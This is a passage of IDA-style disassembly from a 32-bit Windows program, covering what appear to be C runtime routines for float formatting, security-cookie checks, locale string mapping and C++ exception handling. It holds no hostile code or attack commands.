		dec	esi
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edi
		call	sub_41C693
		mov	eax, [ebp+var_10]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_4181B5
		cmp	eax, ebx
		jge	short loc_4181B5
		test	cl, cl
		jz	short loc_4181A5


loc_41819B:				; CODE XREF: sub_418139+67j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_41819B
		and	[edi-2], al


loc_4181A5:				; CODE XREF: sub_418139+60j
		push	1
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_418035
		jmp	short loc_4181C6
; ---------------------------------------------------------------------------


loc_4181B5:				; CODE XREF: sub_418139+58j
					; sub_418139+5Cj
		push	1
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	ebx
		mov	ebx, [ebp+arg_4]
		call	sub_417F13


loc_4181C6:				; CODE XREF: sub_418139+7Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_418139	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181D9	proc near		; DATA XREF: sub_413460o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_418214
		cmp	[ebp+arg_8], 45h
		jz	short loc_418214
		cmp	[ebp+arg_8], 66h
		jnz	short loc_418201
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4180D1
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418201:				; CODE XREF: sub_4181D9+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418139
		jmp	short loc_418225
; ---------------------------------------------------------------------------


loc_418214:				; CODE XREF: sub_4181D9+7j
					; sub_4181D9+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FC1


loc_418225:				; CODE XREF: sub_4181D9+39j
		add	esp, 10h
		pop	ebp
		retn
sub_4181D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41822A	proc near		; CODE XREF: sub_413498+Fp
		push	30000h
		push	10000h
		call	sub_41C991
		pop	ecx
		pop	ecx
		retn
sub_41822A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41823C	proc near		; CODE XREF: sub_41827C:loc_4182A0j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_427A80
		fstp	[ebp+var_8]
		fld	ds:dbl_427A78
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_427A70
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_418278
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418278:				; CODE XREF: sub_41823C+35j
		xor	eax, eax
		leave
		retn
sub_41823C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41827C	proc near		; CODE XREF: sub_413498+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_41F078	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4182A0
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_41F074	; GetProcAddress
		test	eax, eax
		jz	short loc_4182A0
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_4182A0:				; CODE XREF: sub_41827C+Dj
					; sub_41827C+1Dj
		jmp	sub_41823C
sub_41827C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4182D6


loc_4182A5:				; CODE XREF: sub_4182D6:loc_4182DFj
		push	8
		push	offset stru_427EC0
		call	__SEH_prolog
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	sub_41C9FD
		pop	ecx
		pop	ecx
		jmp	short loc_4182C9
; END OF FUNCTION CHUNK	FOR sub_4182D6

; =============== S U B	R O U T	I N E =======================================



sub_4182C2	proc near		; DATA XREF: .rdata:stru_427EC0o
		xor	eax, eax
		inc	eax
		retn
sub_4182C2	endp

; ---------------------------------------------------------------------------


loc_4182C6:				; DATA XREF: .rdata:stru_427EC0o
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_4182D6


loc_4182C9:				; CODE XREF: sub_4182D6-16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ds:dword_41F02C	; ExitProcess
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_4182D6

; =============== S U B	R O U T	I N E =======================================



sub_4182D6	proc near		; CODE XREF: sub_413859+B4p
					; sub_414CA3+76Ep ...

; FUNCTION CHUNK AT 004182A5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004182C9 SIZE 0000000D BYTES

		cmp	ecx, dword_42CE38
		jnz	short loc_4182DF
		retn
; ---------------------------------------------------------------------------


loc_4182DF:				; CODE XREF: sub_4182D6+6j
		jmp	loc_4182A5
sub_4182D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182E4	proc near		; CODE XREF: sub_4139A6+91p
					; sub_4190C6+C8p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	38h
		push	offset stru_427ED0
		call	__SEH_prolog
		xor	ebx, ebx
		cmp	dword_47A018, ebx
		jnz	short loc_418332
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_427ECC
		push	100h
		push	ebx
		call	ds:dword_41F180	; LCMapStringW
		test	eax, eax
		jz	short loc_41831D
		mov	dword_47A018, esi
		jmp	short loc_418332
; ---------------------------------------------------------------------------


loc_41831D:				; CODE XREF: sub_4182E4+2Fj
		call	ds:dword_41F008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_418332
		mov	dword_47A018, 2


loc_418332:				; CODE XREF: sub_4182E4+14j
					; sub_4182E4+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_418352
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_41833D:				; CODE XREF: sub_4182E4+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_41834A
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_41833D
		or	ecx, 0FFFFFFFFh


loc_41834A:				; CODE XREF: sub_4182E4+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax


loc_418352:				; CODE XREF: sub_4182E4+51j
		mov	eax, dword_47A018
		cmp	eax, 2
		jz	loc_41853C
		cmp	eax, ebx
		jz	loc_41853C
		cmp	eax, 1
		jnz	loc_41856F
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_418389
		mov	eax, dword_47A188
		mov	[ebp+arg_18], eax


loc_418389:				; CODE XREF: sub_4182E4+9Bj
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, ebx
		jz	loc_41856F
		mov	[ebp+ms_exc.disabled], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4183F5
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_4183F5:				; CODE XREF: sub_4182E4+F4j
		cmp	[ebp+var_2C], ebx
		jnz	short loc_418416
		lea	eax, [esi+esi]
		push	eax
		call	sub_41344D
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jz	loc_41856F
		mov	[ebp+var_20], 1


loc_418416:				; CODE XREF: sub_4182E4+114j
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		test	eax, eax
		jz	loc_418519
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F180	; LCMapStringW
		mov	edi, eax
		mov	[ebp+var_1C], edi
		cmp	edi, ebx
		jz	loc_418519
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_418485
		cmp	[ebp+arg_14], ebx
		jz	loc_418519
		cmp	edi, [ebp+arg_14]
		jg	loc_418519
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F180	; LCMapStringW
		jmp	loc_418519
; ---------------------------------------------------------------------------


loc_418485:				; CODE XREF: sub_4182E4+172j
		mov	[ebp+ms_exc.disabled], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_30], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4184C3
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_28]


loc_4184C3:				; CODE XREF: sub_4182E4+1C2j
		cmp	[ebp+var_30], ebx
		jnz	short loc_4184E0
		lea	eax, [edi+edi]
		push	eax
		call	sub_41344D
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	eax, ebx
		jz	short loc_418519
		mov	[ebp+var_24], 1


loc_4184E0:				; CODE XREF: sub_4182E4+1E2j
		push	edi
		push	[ebp+var_30]
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F180	; LCMapStringW
		test	eax, eax
		jz	short loc_418519
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_418503
		push	ebx
		push	ebx
		jmp	short loc_418509
; ---------------------------------------------------------------------------


loc_418503:				; CODE XREF: sub_4182E4+219j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_418509:				; CODE XREF: sub_4182E4+21Dj
		push	edi
		push	[ebp+var_30]
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_41F0AC	; WideCharToMultiByte
		mov	edi, eax


loc_418519:				; CODE XREF: sub_4182E4+149j
					; sub_4182E4+168j ...
		cmp	[ebp+var_24], ebx
		jz	short loc_418527
		push	[ebp+var_30]
		call	sub_412FE4
		pop	ecx


loc_418527:				; CODE XREF: sub_4182E4+238j
		cmp	[ebp+var_20], ebx
		jz	short loc_418535
		push	[ebp+var_2C]
		call	sub_412FE4
		pop	ecx


loc_418535:				; CODE XREF: sub_4182E4+246j
		mov	eax, edi
		jmp	loc_418697
; ---------------------------------------------------------------------------


loc_41853C:				; CODE XREF: sub_4182E4+76j
					; sub_4182E4+7Ej
		mov	[ebp+var_34], ebx
		xor	edi, edi
		mov	[ebp+var_38], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_418551
		mov	eax, dword_47A178
		mov	[ebp+arg_0], eax


loc_418551:				; CODE XREF: sub_4182E4+263j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41855E
		mov	eax, dword_47A188
		mov	[ebp+arg_18], eax


loc_41855E:				; CODE XREF: sub_4182E4+270j
		push	[ebp+arg_0]
		call	sub_41CB47
		pop	ecx
		mov	[ebp+var_3C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418576


loc_41856F:				; CODE XREF: sub_4182E4+87j
					; sub_4182E4+CDj ...
		xor	eax, eax
		jmp	loc_418697
; ---------------------------------------------------------------------------


loc_418576:				; CODE XREF: sub_4182E4+289j
		cmp	eax, [ebp+arg_18]
		jz	loc_41866D
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_41CB90
		add	esp, 18h
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jz	short loc_41856F
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F17C	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_40], esi
		cmp	esi, ebx
		jz	loc_41865C
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_44], edi
		push	esi
		push	ebx
		push	edi
		call	sub_41ADD0
		add	esp, 0Ch
		jmp	short loc_4185ED
; ---------------------------------------------------------------------------


loc_4185DD:				; DATA XREF: .rdata:stru_427ED0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4185E1:				; DATA XREF: .rdata:stru_427ED0o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	ebx, ebx
		xor	edi, edi


loc_4185ED:				; CODE XREF: sub_4182E4+2F7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_418618
		push	[ebp+var_40]
		call	sub_41344D
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_418635
		push	[ebp+var_40]
		push	ebx
		push	edi
		call	sub_41ADD0
		add	esp, 0Ch
		mov	[ebp+var_38], 1


loc_418618:				; CODE XREF: sub_4182E4+30Fj
		push	[ebp+var_40]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_34]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F17C	; LCMapStringA
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jnz	short loc_418639


loc_418635:				; CODE XREF: sub_4182E4+31Ej
		xor	esi, esi
		jmp	short loc_41865F
; ---------------------------------------------------------------------------


loc_418639:				; CODE XREF: sub_4182E4+34Fj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_40]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_3C]
		call	sub_41CB90
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		jmp	short loc_41865F
; ---------------------------------------------------------------------------


loc_41865C:				; CODE XREF: sub_4182E4+2D0j
		mov	esi, [ebp+var_48]


loc_41865F:				; CODE XREF: sub_4182E4+353j
					; sub_4182E4+376j
		cmp	[ebp+var_38], ebx
		jz	short loc_418687
		push	edi
		call	sub_412FE4
		pop	ecx
		jmp	short loc_418687
; ---------------------------------------------------------------------------


loc_41866D:				; CODE XREF: sub_4182E4+295j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F17C	; LCMapStringA
		mov	esi, eax


loc_418687:				; CODE XREF: sub_4182E4+37Ej
					; sub_4182E4+387j
		cmp	[ebp+var_34], ebx
		jz	short loc_418695
		push	[ebp+var_34]
		call	sub_412FE4
		pop	ecx


loc_418695:				; CODE XREF: sub_4182E4+3A6j
		mov	eax, esi


loc_418697:				; CODE XREF: sub_4182E4+253j
					; sub_4182E4+28Dj
		lea	esp, [ebp-54h]
		call	__SEH_epilog
		retn
sub_4182E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186A0	proc near		; CODE XREF: sub_418C87+138p

arg_0		= dword	ptr  4

		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4186EB
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_4186EB
		mov	ecx, [edi+4]
		cmp	eax, ecx
		jz	short loc_4186C6
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41B4E0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4186E8


loc_4186C6:				; CODE XREF: sub_4186A0+14j
		test	byte ptr [edi],	2
		jz	short loc_4186D0
		test	byte ptr [esi],	8
		jz	short loc_4186E8


loc_4186D0:				; CODE XREF: sub_4186A0+29j
		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4186DF
		test	byte ptr [esi],	1
		jz	short loc_4186E8


loc_4186DF:				; CODE XREF: sub_4186A0+38j
		test	al, 2
		jz	short loc_4186EB
		test	byte ptr [esi],	2
		jnz	short loc_4186EB


loc_4186E8:				; CODE XREF: sub_4186A0+24j
					; sub_4186A0+2Ej ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186EB:				; CODE XREF: sub_4186A0+5j
					; sub_4186A0+Dj ...
		xor	eax, eax
		inc	eax
		retn
sub_4186A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186EF	proc near		; CODE XREF: sub_41870D+76p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4186FC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186FC:				; CODE XREF: sub_4186EF+8j
		call	sub_415456
		and	dword ptr [eax+80h], 0
		jmp	sub_418F0B
sub_4186EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41870D	proc near		; CODE XREF: sub_41883D+117p
					; sub_418B60+31p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset stru_427EF8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		call	sub_415456
		add	eax, 80h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]


loc_418735:				; CODE XREF: sub_41870D+8Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41879E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_418744
		cmp	esi, [edi+4]
		jl	short loc_418749


loc_418744:				; CODE XREF: sub_41870D+30j
		call	sub_418F40


loc_418749:				; CODE XREF: sub_41870D+35j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41877A
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_418F70


loc_41877A:				; CODE XREF: sub_41870D+56j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_418799
; ---------------------------------------------------------------------------


loc_418780:				; DATA XREF: .rdata:00427F08o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_4186EF
		retn
; ---------------------------------------------------------------------------


loc_418789:				; DATA XREF: .rdata:00427F0Co
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_418799:				; CODE XREF: sub_41870D+71j
		mov	[ebp+var_1C], esi
		jmp	short loc_418735
; ---------------------------------------------------------------------------


loc_41879E:				; CODE XREF: sub_41870D+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4187C0
		cmp	esi, [ebp+arg_C]
		jz	short loc_4187B1
		call	sub_418F40


loc_4187B1:				; CODE XREF: sub_41870D+9Dj
		mov	[ebx+8], esi
		call	__SEH_epilog
		retn
sub_41870D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187BA	proc near		; DATA XREF: .rdata:stru_427EF8o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_4187BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4187C0	proc near		; CODE XREF: sub_41870D+95p
		call	sub_415456
		cmp	dword ptr [eax+80h], 0
		jle	short locret_4187DA
		call	sub_415456
		add	eax, 80h
		dec	dword ptr [eax]

locret_4187DA:				; CODE XREF: sub_4187C0+Cj
		retn
sub_4187C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187DB	proc near		; CODE XREF: sub_418980+5Cp
					; sub_418C87+1A8p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_427F10
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_418809
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_418809
		and	[ebp+ms_exc.disabled], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_413ACE
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418809:				; CODE XREF: sub_4187DB+11j
					; sub_4187DB+1Bj
		call	__SEH_epilog
		retn
sub_4187DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41880F	proc near		; DATA XREF: .rdata:stru_427F10o
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
sub_41880F	endp

; ---------------------------------------------------------------------------


loc_418818:				; DATA XREF: .rdata:stru_427F10o
		mov	esp, [ebp-18h]
		jmp	sub_418F0B

; =============== S U B	R O U T	I N E =======================================



sub_418820	proc near		; CODE XREF: sub_4189E4+7Cp
					; sub_4189E4+FBp ...
		mov	edx, [ecx+4]
		push	esi
		mov	esi, eax
		mov	eax, [ecx]
		add	eax, esi
		test	edx, edx
		jl	short loc_41883B
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41883B:				; CODE XREF: sub_418820+Cj
		pop	esi
		retn
sub_418820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41883D	proc near		; CODE XREF: sub_418B60+52p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00418977 SIZE 00000003 BYTES

		push	40h
		push	offset stru_427F20
		call	__SEH_prolog
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_20], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_413C6C
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		call	sub_415456
		mov	eax, [eax+78h]
		mov	[ebp+var_34], eax
		call	sub_415456
		mov	eax, [eax+7Ch]
		mov	[ebp+var_38], eax
		call	sub_415456
		mov	[eax+78h], esi
		call	sub_415456
		mov	ecx, [ebp+arg_8]
		mov	[eax+7Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		mov	[ebp+ms_exc.disabled], 1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_413D01
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	loc_418965
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4188FA
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4188FA
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4188FA
		mov	eax, [ebp+var_3C]
		cmp	dword ptr [eax+1Ch], 0
		mov	[ebp+var_40], 1
		jz	short loc_418901


loc_4188FA:				; CODE XREF: sub_41883D+96j
					; sub_41883D+9Fj ...
		mov	[ebp+var_40], 0


loc_418901:				; CODE XREF: sub_41883D+BBj
		mov	eax, [ebp+var_40]
		retn
; ---------------------------------------------------------------------------


loc_418905:				; DATA XREF: .rdata:00427F34o
		mov	esp, [ebp+ms_exc.old_esp]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		mov	[ebp+var_44], eax
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+8]
		mov	[ebp+var_48], eax
		mov	edx, [ecx+10h]
		mov	[ebp+var_4C], edx
		xor	edx, edx


loc_418922:				; CODE XREF: sub_41883D+13Bj
		mov	[ebp+var_50], edx
		cmp	edx, [ecx+0Ch]
		jnb	short loc_41894E
		lea	esi, [edx+edx*4]
		mov	ebx, [ebp+var_4C]
		lea	esi, [ebx+esi*4]
		mov	ebx, [esi+4]
		cmp	eax, ebx
		jle	short loc_418977
		cmp	eax, [esi+8]
		jg	short loc_418977
		lea	eax, [ebx+1]
		mov	[ebp+var_48], eax
		mov	edx, [ebp+var_44]
		mov	eax, [edx+eax*8]
		mov	[ebp+var_48], eax


loc_41894E:				; CODE XREF: sub_41883D+EBj
		push	eax
		push	ecx
		xor	esi, esi
		push	esi
		push	edi
		call	sub_41870D
		add	esp, 10h
		mov	[ebp+var_1C], esi
		mov	[ebp+ms_exc.disabled], esi
		mov	esi, [ebp+arg_0]


loc_418965:				; CODE XREF: sub_41883D+80j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_418980
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41883D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41883D


loc_418977:				; CODE XREF: sub_41883D+FBj
					; sub_41883D+100j
		inc	edx
		jmp	short loc_418922
; END OF FUNCTION CHUNK	FOR sub_41883D

; =============== S U B	R O U T	I N E =======================================



sub_41897A	proc near		; DATA XREF: .rdata:stru_427F20o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41897A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418980	proc near		; CODE XREF: sub_41883D+12Cp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-30h]
		call	sub_413CB5
		pop	ecx
		call	sub_415456
		mov	ecx, [ebp-34h]
		mov	[eax+78h], ecx
		call	sub_415456
		mov	ecx, [ebp-38h]
		mov	[eax+7Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_4189E3
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_4189E3
		cmp	dword ptr [esi+14h], 19930520h
		jnz	short locret_4189E3
		cmp	dword ptr [ebp-20h], 0
		jnz	short locret_4189E3
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4189E3
		push	dword ptr [esi+18h]
		call	sub_413C94
		pop	ecx
		test	eax, eax
		jz	short locret_4189E3
		call	sub_413EAE
		push	eax
		push	esi
		call	sub_4187DB
		pop	ecx
		pop	ecx

locret_4189E3:				; CODE XREF: sub_418980+2Bj
					; sub_418980+31j ...
		retn
sub_418980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189E4	proc near		; CODE XREF: sub_418B60+Dp

ms_exc		= CPPEH_RECORD ptr -18h
